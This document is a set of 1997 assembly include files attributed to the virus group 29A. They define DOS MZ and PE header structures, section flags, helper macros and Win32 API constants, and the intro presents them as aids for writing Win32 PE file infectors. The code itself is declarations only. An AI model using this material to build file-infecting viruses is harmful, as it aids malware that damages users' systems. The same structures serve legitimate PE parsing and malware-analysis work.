; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [29A INC files]
; by Jacky Qwerty/29A
;
;
; Here you have the "famous" 29A INC filez, written by me. These INCz surely
; will become almost completely necessary for you at the moment of writing
; your Win32 PE infectorz as they contain lotz of very useful structurez and
; routinez used in such kind of virusez. At the very least you will need the
; INC filez to understand the functioning of the Win32 infectorz written he-
; re by us in 29A, as we all use them in order to make thingz much easier :)
;
; The set is formed by four filez (MZ.INC, PE.INC, USEFUL.INC, WIN32API.INC)
; which work separately, and whose corresponding utility has been described
; below. You might want either to cut them off from this file or just to un-
; zip the file containing them (29A_INCS.ZIP), in the \FILES directory.
;
; Hope they will be useful for you!
;
;
; - -[MZ.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [29A INC files]
; DOS EXE MZ executable format
; by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains all the constantz and structurez needed to work
; with the DOS EXE MZ executable format inside ASM filez. For use with TASM,
; of course (also with TASM32). MASM sucks.. :P
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.

; ÄÄ´ MZ_magic value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_DOS_SIGNATURE EQU 5A4Dh ;'MZ'

IMAGE_DOS_HEADER STRUC
MZ_magic DW ? ; Magic number
MZ_cblp DW ? ; Bytes on last page of file
MZ_cp DW ? ; Pages in file
MZ_crlc DW ? ; Relocations
MZ_cparhdr DW ? ; Size of header in paragraphs
MZ_minalloc DW ? ; Minimum extra paragraphs needed
MZ_maxalloc DW ? ; Maximum extra paragraphs needed
MZ_ss DW ? ; Initial (relative) SS value
MZ_sp DW ? ; Initial SP value
MZ_csum DW ? ; Checksum
MZ_ip DW ? ; Initial IP value
MZ_cs DW ? ; Initial (relative) CS value
MZ_lfarlc DW ? ; File address of relocation table
MZ_ovno DW ? ; Overlay number
MZ_res DW 4 DUP (?) ; Reserved words
MZ_oemid DW ? ; OEM identifier (for e_oeminfo)
MZ_oeminfo DW ? ; OEM information; e_oemid specific
MZ_res2 DW 10 DUP (?) ; Reserved words
MZ_lfanew DD ? ; File address of new exe header
IMAGE_DOS_HEADER ENDS

IMAGE_SIZEOF_DOS_HEADER EQU SIZE IMAGE_DOS_HEADER

; - -[PE.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [29A INC files]
; Portable Executable format
; by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains all the constantz and structurez needed to work
; with the PE (Portable Executable) format from inside ASM filez. For exclu-
; sive use with TASM(32), of course. MASM sucks.. :P
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.

; ÄÄ´ Based relocation type valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_REL_BASED_ABSOLUTE EQU 0
IMAGE_REL_BASED_HIGH EQU 1
IMAGE_REL_BASED_LOW EQU 2
IMAGE_REL_BASED_HIGHLOW EQU 3
IMAGE_REL_BASED_HIGHADJ EQU 4
IMAGE_REL_BASED_MIPS_JMPADDR EQU 5

IMAGE_RELOCATION_DATA RECORD {
RD_RelocType :4
RD_RelocOffset :12
}

IMAGE_BASE_RELOCATION STRUC
BR_VirtualAddress DD ?
BR_SizeOfBlock DD ?
; BR_TypeOffset IMAGE_RELOCATION_DATA 1 DUP (?) ; Array of zero or more
relocations (type + RVAs)
IMAGE_BASE_RELOCATION ENDS

IMAGE_SIZEOF_BASE_RELOCATION EQU SIZE IMAGE_BASE_RELOCATION ; 8

IMAGE_IMPORT_BY_NAME STRUC
IBN_Hint DW ?
IBN_Name DB 1 DUP (?) ; ASCIIZ function name (variable size)
IMAGE_IMPORT_BY_NAME ENDS

IMAGE_ORDINAL_FLAG EQU 80000000h

IMAGE_THUNK_DATA STRUC
UNION
TD_AddressOfData DD IMAGE_IMPORT_BY_NAME PTR ? ; Ptr to IMAGE_IMPORT_BY_NAME
structure
TD_Ordinal DD ? ; Ordinal ORed with
IMAGE_ORDINAL_FLAG
TD_Function DD BYTE PTR ? ; CODE PTR ; Ptr to function (i.e. Function
address after program load)
TD_ForwarderString DD BYTE PTR ? ; Ptr to a forwarded API function.
ENDS
IMAGE_THUNK_DATA ENDS

; ÄÄ´ Import format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_IMPORT_DESCRIPTOR STRUC
UNION
ID_Characteristics DD ? ; 0 for terminating null import
descriptor
ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to original unbound IAT
ENDS
ID_TimeDateStamp DD ? ; 0 if not bound,
; -1 if bound, and real date\time stamp
; in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new
BIND)
; O.W. date/time stamp of DLL bound to (Old BIND)
ID_ForwarderChain DD ? ; -1 if no forwarders
ID_Name DD BYTE PTR ? ; RVA to name of imported DLL
ID_FirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to IAT (if bound this IAT
has actual addresses)
IMAGE_IMPORT_DESCRIPTOR ENDS

IMAGE_SIZEOF_IMPORT_DESCRIPTOR EQU SIZE IMAGE_IMPORT_DESCRIPTOR

; ÄÄ´ Export format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_EXPORT_DIRECTORY STRUC
ED_Characteristics DD ?
ED_TimeDateStamp DD ?
ED_MajorVersion DW ?
ED_MinorVersion DW ?
ED_Name DD BYTE PTR ? ; Ptr to name of exported DLL
UNION
ED_Base DD ?
ED_BaseOrdinal DD ?
ENDS
ED_NumberOfFunctions DD ?
UNION
ED_NumberOfNames DD ?
ED_NumberOfOrdinals DD ?
ENDS
ED_AddressOfFunctions DD DWORD PTR ? ; Ptr to array of function addresses
ED_AddressOfNames DD DWORD PTR ? ; Ptr to array of (function) name addresses
UNION
ED_AddressOfNameOrdinals DD WORD PTR ? ; Ptr to array of ordinals
ED_AddressOfOrdinals DD WORD PTR ? ;
ENDS
IMAGE_EXPORT_DIRECTORY ENDS

IMAGE_SIZEOF_EXPORT_DIRECTORY EQU SIZE IMAGE_EXPORT_DIRECTORY

; ÄÄ´ SH_Characteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;MAGE_SCN_TYPE_REG EQU 00000000h ; Reserved


;MAGE_SCN_TYPE_REGULAR EQU 00000000h ; Reserved
;MAGE_SCN_TYPE_DSECT EQU 00000001h ; Reserved
;MAGE_SCN_TYPE_DUMMY EQU 00000001h ; Reserved
;MAGE_SCN_TYPE_NOLOAD EQU 00000002h ; Reserved
;MAGE_SCN_TYPE_NO_LOAD EQU 00000002h ; Reserved
;MAGE_SCN_TYPE_GROUP EQU 00000004h ; Reserved. Used for 16-bit offset code
;MAGE_SCN_TYPE_GROUPED EQU 00000004h ; Reserved. Used for 16-bit offset code
IMAGE_SCN_TYPE_NO_PAD EQU 00000008h ; Reserved
;MAGE_SCN_TYPE_COPY EQU 00000010h ; Reserved
IMAGE_SCN_CNT_CODE EQU 00000020h ; Section contains code.
IMAGE_SCN_CNT_INITIALIZED_DATA EQU 00000040h ; Section contains initialized data.
IMAGE_SCN_CNT_UNINITIALIZED_DATA EQU 00000080h ; Section contains uninitialized data.
IMAGE_SCN_LNK_OTHER EQU 00000100h ; Reserved.
IMAGE_SCN_LNK_INFO EQU 00000200h ; Section contains comments or some other
type of information.
;MAGE_SCN_TYPE_OVER EQU 00000400h ; Reserved. Section contains an overlay.
;MAGE_SCN_LNK_OVERLAY EQU 00000400h ; Reserved. Section contains an overlay.
IMAGE_SCN_LNK_REMOVE EQU 00000800h ; Section contents will not become part of
image.
IMAGE_SCN_LNK_COMDAT EQU 00001000h ; Section contents comdat.
; EQU 00002000h ; Reserved.
;MAGE_SCN_MEM_PROTECTED EQU 00004000h ; Obsolete.
IMAGE_SCN_MEM_FARDATA EQU 00008000h
;MAGE_SCN_MEM_SYSHEAP EQU 00010000h ; Obsolete.
IMAGE_SCN_MEM_PURGEABLE EQU 00020000h
IMAGE_SCN_MEM_16BIT EQU 00020000h
IMAGE_SCN_MEM_LOCKED EQU 00040000h
IMAGE_SCN_MEM_PRELOAD EQU 00080000h
IMAGE_SCN_ALIGN_1BYTES EQU 00100000h
IMAGE_SCN_ALIGN_2BYTES EQU 00200000h
IMAGE_SCN_ALIGN_4BYTES EQU 00300000h
IMAGE_SCN_ALIGN_8BYTES EQU 00400000h
IMAGE_SCN_ALIGN_16BYTES EQU 00500000h ; Default alignment if no others are
specified.
IMAGE_SCN_ALIGN_32BYTES EQU 00600000h
IMAGE_SCN_ALIGN_64BYTES EQU 00700000h
; EQU 00800000h ; Unused.
IMAGE_SCN_LNK_NRELOC_OVFL EQU 01000000h ; Section contains extended relocations.
IMAGE_SCN_MEM_DISCARDABLE EQU 02000000h ; Section can be discarded.
IMAGE_SCN_MEM_NOT_CACHED EQU 04000000h ; Section is not cachable.
IMAGE_SCN_MEM_NOT_PAGED EQU 08000000h ; Section is not pageable.
IMAGE_SCN_MEM_SHARED EQU 10000000h ; Section is shareable.
IMAGE_SCN_MEM_EXECUTE EQU 20000000h ; Section is executable.
IMAGE_SCN_MEM_READ EQU 40000000h ; Section is readable.
IMAGE_SCN_MEM_WRITE EQU 80000000h ; Section is writeable.
IMAGE_SIZEOF_SHORT_NAME EQU 8

; ÄÄ´ Section header format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_SECTION_HEADER STRUC
SH_Name DB IMAGE_SIZEOF_SHORT_NAME DUP (?)
UNION
SH_PhysicalAddress DD BYTE PTR ?
SH_VirtualSize DD ?
ENDS
SH_VirtualAddress DD BYTE PTR ?
SH_SizeOfRawData DD ?
SH_PointerToRawData DD BYTE PTR ?
SH_PointerToRelocations DD BYTE PTR ?
SH_PointerToLinenumbers DD BYTE PTR ?
SH_NumberOfRelocations DW ?
SH_NumberOfLinenumbers DW ?
SH_Characteristics DD ?
IMAGE_SECTION_HEADER ENDS

IMAGE_SIZEOF_SECTION_HEADER EQU SIZE IMAGE_SECTION_HEADER

; ÄÄ´ OH_DataDirectory index valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_DIRECTORY_ENTRY_EXPORT EQU 0 ; Export Directory


IMAGE_DIRECTORY_ENTRY_IMPORT EQU 1 ; Import Directory
IMAGE_DIRECTORY_ENTRY_RESOURCE EQU 2 ; Resource Directory
IMAGE_DIRECTORY_ENTRY_EXCEPTION EQU 3 ; Exception Directory
IMAGE_DIRECTORY_ENTRY_SECURITY EQU 4 ; Security Directory
IMAGE_DIRECTORY_ENTRY_BASERELOC EQU 5 ; Base Relocation Table
IMAGE_DIRECTORY_ENTRY_DEBUG EQU 6 ; Debug Directory
IMAGE_DIRECTORY_ENTRY_COPYRIGHT EQU 7 ; Description String
IMAGE_DIRECTORY_ENTRY_GLOBALPTR EQU 8 ; Machine Value (MIPS GP)
IMAGE_DIRECTORY_ENTRY_TLS EQU 9 ; TLS Directory
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG EQU 10 ; Load Configuration Directory
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT EQU 11 ; Bound Import Directory in headers
IMAGE_DIRECTORY_ENTRY_IAT EQU 12 ; Import Address Table

IMAGE_NUMBEROF_DIRECTORY_ENTRIES EQU 16

; ÄÄ´ OH_DataDirectory format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_DATA_DIRECTORY STRUC
DD_VirtualAddress DD BYTE PTR ?
DD_Size DD ?
IMAGE_DATA_DIRECTORY ENDS

IMAGE_DIRECTORY_ENTRIES STRUC
DE_Export IMAGE_DATA_DIRECTORY ?
DE_Import IMAGE_DATA_DIRECTORY ?
DE_Resource IMAGE_DATA_DIRECTORY ?
DE_Exception IMAGE_DATA_DIRECTORY ?
DE_Security IMAGE_DATA_DIRECTORY ?
DE_BaseReloc IMAGE_DATA_DIRECTORY ?
DE_Debug IMAGE_DATA_DIRECTORY ?
DE_Copyright IMAGE_DATA_DIRECTORY ?
DE_GlobalPtr IMAGE_DATA_DIRECTORY ?
DE_TLS IMAGE_DATA_DIRECTORY ?
DE_LoadConfig IMAGE_DATA_DIRECTORY ?
DE_BoundImport IMAGE_DATA_DIRECTORY ?
DE_IAT IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRIES ENDS
; ÄÄ´ OH_LoaderFlags valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;MAGE_LOADER_FLAGS_BREAK_ON_LOAD EQU 00000001h


;MAGE_LOADER_FLAGS_DEBUG_ON_LOAD EQU 00000002h

; ÄÄ´ OH_DllCharacteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;MAGE_LIBRARY_PROCESS_INIT EQU 1 ; Dll has a process initialization routine


;MAGE_LIBRARY_PROCESS_TERM EQU 2 ; Dll has a thread termination routine
;MAGE_LIBRARY_THREAD_INIT EQU 4 ; Dll has a thread initialization routine
;MAGE_LIBRARY_THREAD_TERM EQU 8 ; Dll has a thread termination routine

; ÄÄ´ OH_Subsystem Valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_SUBSYSTEM_UNKNOWN EQU 0 ; Unknown subsystem


IMAGE_SUBSYSTEM_NATIVE EQU 1 ; Image doesn't require a subsystem
IMAGE_SUBSYSTEM_WINDOWS_GUI EQU 2 ; Image runs in the Windows GUI subsystem
IMAGE_SUBSYSTEM_WINDOWS_CUI EQU 3 ; Image runs in the Windows character subsystem
IMAGE_SUBSYSTEM_OS2_CUI EQU 5 ; Image runs in the OS/2 character subsystem
IMAGE_SUBSYSTEM_POSIX_CUI EQU 7 ; Image run in the Posix character subsystem

; ÄÄ´ OH_Magic value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_NT_OPTIONAL_HDR_MAGIC EQU 10Bh

; ÄÄ´ Optional header format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_OPTIONAL_HEADER STRUC
; Standard fields:
OH_Magic DW ?
OH_MajorLinkerVersion DB ?
OH_MinorLinkerVersion DB ?
OH_SizeOfCode DD ?
OH_SizeOfInitializedData DD ?
OH_SizeOfUninitializedData DD ?
OH_AddressOfEntryPoint DD BYTE PTR ?
OH_BaseOfCode DD BYTE PTR ?
OH_BaseOfData DD BYTE PTR ?
; NT additional fields:
OH_ImageBase DD BYTE PTR ?
OH_SectionAlignment DD ?
OH_FileAlignment DD ?
OH_MajorOperatingSystemVersion DW ?
OH_MinorOperatingSystemVersion DW ?
OH_MajorImageVersion DW ?
OH_MinorImageVersion DW ?
OH_MajorSubsystemVersion DW ?
OH_MinorSubsystemVersion DW ?
OH_Reserved1 DD ?
OH_SizeOfImage DD ?
OH_SizeOfHeaders DD ?
OH_CheckSum DD ?
OH_Subsystem DW ?
OH_DllCharacteristics DW ?
OH_SizeOfStackReserve DD ?
OH_SizeOfStackCommit DD ?
OH_SizeOfHeapReserve DD ?
OH_SizeOfHeapCommit DD ?
OH_LoaderFlags DD ?
OH_NumberOfRvaAndSizes DD ?
UNION
OH_DataDirectory IMAGE_DATA_DIRECTORY \
IMAGE_NUMBEROF_DIRECTORY_ENTRIES \
DUP (?)
OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ?
ENDS
IMAGE_OPTIONAL_HEADER ENDS

IMAGE_SIZEOF_STD_OPTIONAL_HEADER EQU 28d


IMAGE_SIZEOF_NT_OPTIONAL_HEADER EQU SIZE IMAGE_OPTIONAL_HEADER

; ÄÄ´ FH_Characteristics valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_FILE_RELOCS_STRIPPED EQU 0001h ; Relocation info stripped from file


IMAGE_FILE_EXECUTABLE_IMAGE EQU 0002h ; File is executable (i.e. no unresolved external
references)
IMAGE_FILE_LINE_NUMS_STRIPPED EQU 0004h ; Line numbers stripped from file
IMAGE_FILE_LOCAL_SYMS_STRIPPED EQU 0008h ; Local symbols stripped from file
;MAGE_FILE_MINIMAL_OBJECT EQU 0010h ; Reserved
;MAGE_FILE_UPDATE_OBJECT EQU 0020h ; Reserved
;MAGE_FILE_16BIT_MACHINE EQU 0040h ; 16 bit word machine
IMAGE_FILE_BYTES_REVERSED_LO EQU 0080h ; Bytes of machine word are reversed
IMAGE_FILE_32BIT_MACHINE EQU 0100h ; 32 bit word machine
IMAGE_FILE_DEBUG_STRIPPED EQU 0200h ; Debugging info stripped from file in .DBG file
;MAGE_FILE_PATCH EQU 0400h ; Reserved
IMAGE_FILE_SYSTEM EQU 1000h ; System File
IMAGE_FILE_DLL EQU 2000h ; File is a DLL
IMAGE_FILE_BYTES_REVERSED_HI EQU 8000h ; Bytes of machine word are reversed

; ÄÄ´ FH_Machine valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_FILE_MACHINE_UNKNOWN EQU 0
IMAGE_FILE_MACHINE_I386 EQU 14Ch ; Intel 386
IMAGE_FILE_MACHINE_R3000 EQU 162h ; MIPS L-endian, 0160h B-endian
IMAGE_FILE_MACHINE_R4000 EQU 166h ; MIPS L-endian
IMAGE_FILE_MACHINE_R10000 EQU 168h ; MIPS L-endian
IMAGE_FILE_MACHINE_ALPHA EQU 184h ; Alpha_AXP
IMAGE_FILE_MACHINE_POWERPC EQU 1F0h ; IBM PowerPC L-Endian

IMAGE_FILE_HEADER STRUC
FH_Machine DW ?
FH_NumberOfSections DW ?
FH_TimeDateStamp DD ?
FH_PointerToSymbolTable DD BYTE PTR ?
FH_NumberOfSymbols DD ?
FH_SizeOfOptionalHeader DW ?
FH_Characteristics DW ?
IMAGE_FILE_HEADER ENDS

IMAGE_SIZEOF_FILE_HEADER EQU SIZE IMAGE_FILE_HEADER

; ÄÄ´ NT_Signature value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IMAGE_NT_SIGNATURE EQU 00004550h ; 'PE',0,0

IMAGE_NT_HEADERS STRUC
NT_Signature DD ?
NT_FileHeader IMAGE_FILE_HEADER ?
NT_OptionalHeader IMAGE_OPTIONAL_HEADER ?
IMAGE_NT_HEADERS ENDS

; - -[USEFUL.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [29A INC files]
; Basic useful structurez
; by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains all basic constantz and general common structu-
; rez needed to work with other include and source ASM filez. This file will
; work only with TASM(32), of course. MASM sucks.. :P
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.

LF equ 10
CR equ 13
CRLF equ <13,10>

lo_hi_byte_word struc
union
struc
lob db ?
hib db ?
ends
lo_w dw ?
ends
hiw dw ?
lo_hi_byte_word ends

Pusha_struc struc
Pusha_di dw ?
Pusha_si dw ?
Pusha_bp dw ?
Pusha_sp dw ?
Pusha_bx dw ?
Pusha_dx dw ?
Pusha_cx dw ?
Pusha_ax dw ?
Pusha_struc ends

cPusha equ size Pusha_struc

Pushad_struc struc
Pushad_edi dd ?
Pushad_esi dd ?
Pushad_ebp dd ?
Pushad_esp dd ?
Pushad_ebx dd ?
Pushad_edx dd ?
Pushad_ecx dd ?
Pushad_eax dd ?
Pushad_struc ends
cPushad equ size Pushad_struc

@copysz macro
local nxtchr
nxtchr: lodsb
stosb
or al,al
jnz nxtchr
endm

@endsz macro
local nxtchr
nxtchr: lodsb
test al,al
jnz nxtchr
endm

@pushsz macro msg2psh, empty


local next_instr
ifnb <empty>
%out too much arguments in macro '@pushsz'
.err
endif
call next_instr
db msg2psh,0
next_instr:
endm

@pushbytes macro bts2psh, empty


local next_instr
ifnb <empty>
%out too much arguments in macro '@push_bytes'
.err
endif
call next_instr
db bts2psh
next_instr:
endm

if @WordSize eq 2 ; 16 bits

API_Args struc
RetAddr dw ?
union
Pshd dw ? ;pushed
Arg1 dw ?
ends
irp Num, <2,3,4,5,6,7,8,9,10,11,12,13,14,15,16>
Arg&Num dw ?
endm
API_Args ends

endif

if @WordSize eq 4 ; 32 bits

API_Args struc
RetAddr dd ?
union
Pshd dd ? ;pushed
Arg1 dd ?
ends
irp Num, <2,3,4,5,6,7,8,9,10,11,12,13,14,15,16>
Arg&Num dd ?
endm
API_Args ends

endif

; - -[WIN32API.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; [29A INC files]
; Win32 API definitionz
; by Jacky Qwerty/29A
;
; Description
; ÄÄÄÄÄÄÄÄÄÄÄ
; This include file contains some of the constantz and structurez needed to
; work with typical Win32 API functionz from inside ASM filez. This file can
; work only with TASM(32), of course. MASM sucks.. :P
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This file was built up by Jacky Qwerty from 29A. The author is not respon-
; sible for any problemz caused due to use/misuse of this file.
;
;
; (c) 1997. No rightz reserved. Use without permision >8P.

; ÄÄ´ Some global constantz ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

NULL EQU 0
FALSE EQU 0
TRUE EQU 1
MAX_PATH EQU 260
INVALID_HANDLE_VALUE EQU -1
STANDARD_RIGHTS_REQUIRED EQU 000F0000h

; ÄÄ´ Desired access valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

GENERIC_READ EQU 80000000h


GENERIC_WRITE EQU 40000000h

; ÄÄ´ Share mode valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

FILE_SHARE_READ EQU 00000001h


FILE_SHARE_WRITE EQU 00000002h

; ÄÄ´ Creation disposition valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

CREATE_NEW EQU 1
CREATE_ALWAYS EQU 2
OPEN_EXISTING EQU 3
OPEN_ALWAYS EQU 4
TRUNCATE_EXISTING EQU 5
; ÄÄ´ File attributez and flag valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

FILE_ATTRIBUTE_READONLY EQU 00000001h


FILE_ATTRIBUTE_HIDDEN EQU 00000002h
FILE_ATTRIBUTE_SYSTEM EQU 00000004h
FILE_ATTRIBUTE_DIRECTORY EQU 00000010h
FILE_ATTRIBUTE_ARCHIVE EQU 00000020h
FILE_ATTRIBUTE_NORMAL EQU 00000080h
FILE_ATTRIBUTE_TEMPORARY EQU 00000100h
FILE_ATTRIBUTE_ATOMIC_WRITE EQU 00000200h
FILE_ATTRIBUTE_XACTION_WRITE EQU 00000400h
FILE_ATTRIBUTE_COMPRESSED EQU 00000800h
FILE_ATTRIBUTE_HAS_EMBEDDING EQU 00001000h

FILE_FLAG_POSIX_SEMANTICS EQU 01000000h


FILE_FLAG_BACKUP_SEMANTICS EQU 02000000h
FILE_FLAG_DELETE_ON_CLOSE EQU 04000000h
FILE_FLAG_SEQUENTIAL_SCAN EQU 08000000h
FILE_FLAG_RANDOM_ACCESS EQU 10000000h
FILE_FLAG_NO_BUFFERING EQU 20000000h
FILE_FLAG_OVERLAPPED EQU 40000000h
FILE_FLAG_WRITE_THROUGH EQU 80000000h

; ÄÄ´ Protection and other valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

SECTION_QUERY EQU 00000001h


SECTION_MAP_WRITE EQU 00000002h
SECTION_MAP_READ EQU 00000004h
SECTION_MAP_EXECUTE EQU 00000008h
SECTION_EXTEND_SIZE EQU 00000010h

